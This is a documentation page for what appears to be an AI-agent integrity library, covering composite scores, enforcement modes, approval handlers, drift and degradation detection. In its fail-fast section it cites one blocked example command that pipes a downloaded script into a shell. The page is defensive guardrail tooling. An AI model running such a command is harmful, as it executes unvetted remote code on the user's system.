Skip to main content
Every evaluation returns an IntegrityScore: a composite between 0.0 and 1.0, four property scores, the per-layer results, and one recommended action. Measuring and enforcing are separate. The score and action are always computed and recorded; whether the action stops anything depends on enforce.

The composite score

The composite is a weighted sum of the four property scores, rounded to four decimals:
Each property comes from one layer’s score (how layers map to properties). Change the weights with PropertyWeights. They must sum to 1.0 (within 0.001) or the constructor raises ValueError.
IntegrityEvaluator(layers=..., weights=...) accepts the same object. An IntegrityScore also carries: A low composite does not by itself block anything. Actions decide what happens; the composite is the measurement you trend, alert on, or pass to IntegrityMonitor(threshold=...).

Actions

Layers recommend one of four actions, ranked by severity. The score’s action is the most severe one any layer returned. Two other words show up nearby and are not score actions:
  • allow is a governance PolicyDecision (a rule that did not trigger) and the verdict the coding-agent hooks return for pass and alert. The hooks map escalate to ask on Claude Code and deny on Codex, and block to deny; see Claude Code and Codex.
  • log is one of the four ViolationAction values (log, alert, block, escalate) on IntegrityMonitor(on_violation=...). It labels the ViolationEvent the monitor records when the composite drops below threshold or a layer fails. It does not change what @monitor.guard does.

Measure-only and enforce

Adapters start measure-only (enforce=False). Every event is still evaluated, attested and exported, and get_summary()["enforce_mode"] is False. With enforce=True, the adapter acts on pre_tool_use results:
  • block always denies the tool call.
  • escalate denies unless an approval_handler approves it.
  • alert and pass let the call run.
  • A call whose evaluation raises is denied, since it was never shown to be safe. Outside a tool call, or with enforce=False, the error is logged and the agent continues.
The deny reaches the framework in its own form: a permissionDecision: deny hook return on the Claude Agent SDK, a dict from the before-tool callback on Google ADK, a False from the before-tool-call hook on CrewAI, event.cancel_tool on Strands, StopAgentRun on Agno, and IntegrityViolationError on LangChain and the OpenAI Agents SDK. The AutoGen and Bedrock boto3 adapters observe after the fact, so under enforce=True they record the decision but cannot stop the call. See Integrations for what the agent sees in each case. The zero-config functions take the flag directly:
The coding-agent hook plugins default to enforcing and offer an alert mode that records the verdict it would have returned.
Enforcement acts on every escalate source. With a declared topology of more than three members, GOV-004 escalates every evaluation, so an enforcing adapter without an approval handler denies every tool call in that team.

Escalation and approval

An approval_handler is called as handler(profile, score, candidate_action) when an enforced tool call escalates. candidate_action is {"type": "tool_call", "tool_name": ..., "arguments": ...}. The handler returns True to approve or False to deny, or an ApprovalDecision. If it raises, the call is denied. ApprovalWorkflow wraps a handler with a timeout. An unanswered request is denied unless you choose timeout_action="allow", and a raising handler is denied.
The zero-config hooks() / instrument() functions do not take an approval handler, so construct the adapter class as above. ClaudeAdapter, LangChainAdapter, OpenAIAgentsAdapter, CrewAIAdapter and AgnoAdapter accept approval_handler=. BedrockAgentsAdapter does not, so on the enforcing Strands path every escalation is denied. Every consulted approval is appended to the chain as a DecisionRecord with decision_point="approval" and a reasoning chain of outcome, approver, timed_out, requested_at, resolved_at and, when given, reason. It is signed when the adapter has a signing key, and agentegrity report lists these records in its approvals table. IntegrityMonitor(approval_handler=...) takes the same handlers, including ApprovalWorkflow, and its @guard decorator raises IntegrityViolationError when the handler denies.

Drift

The cortical layer compares the session’s action distribution and tool-usage distribution against a learned baseline. Drift past twice the tolerance alerts by default because a change in tool mix is a reason to review a session, and blocking on it would deny calls whenever an agent took on new work. Set block_on_drift=True on a CorticalLayer you construct yourself to restore blocking. The baseline is learned when an adapter closes. If the session ended without any block or escalate, its action and tool counts are folded into the baseline (CorticalLayer.learn_session), so each session is measured against earlier ones and an attack session never becomes the new normal. Without a baseline_store the baseline lives as long as the process. To keep it across runs, build the evaluator with a store and pass it to the adapter:
In a declared multi-agent topology the baseline is keyed by agent and role, so a member that starts acting like a different role is measured against its own role’s history.

Sustained degradation

The recovery layer keeps the history of composite scores; adapters record every composite. Over the last degradation_window scores (default 10, and at least 3 are needed), it compares the average of the first half with the average of the second. A drop of degradation_threshold (default 0.15) or more sets sustained_degradation and the layer alerts. The degradation sub-score falls to 1 - 3 × drop, floored at 0.
Outside an adapter, call recovery.record_score(score.composite) after each evaluation yourself.

How scores recover

Evidence affects the score for as long as it still describes the agent’s state: Clearing content at compaction changes the score from then on. The attestation chain keeps every earlier score.

Fail-fast and partial scores

IntegrityEvaluator stops at the first layer that returns block (fail_fast=True, the default). The skipped layers contribute no score: portability falls back to the lowest layer score that ran, assurance to the mean, and recovery_integrity is 0.0. A blocked curl -s https://host/x.sh | sh call, for example, produces a score from the adversarial layer alone with confidence 0.25, so its composite reflects one layer. Pass fail_fast=False to run every layer.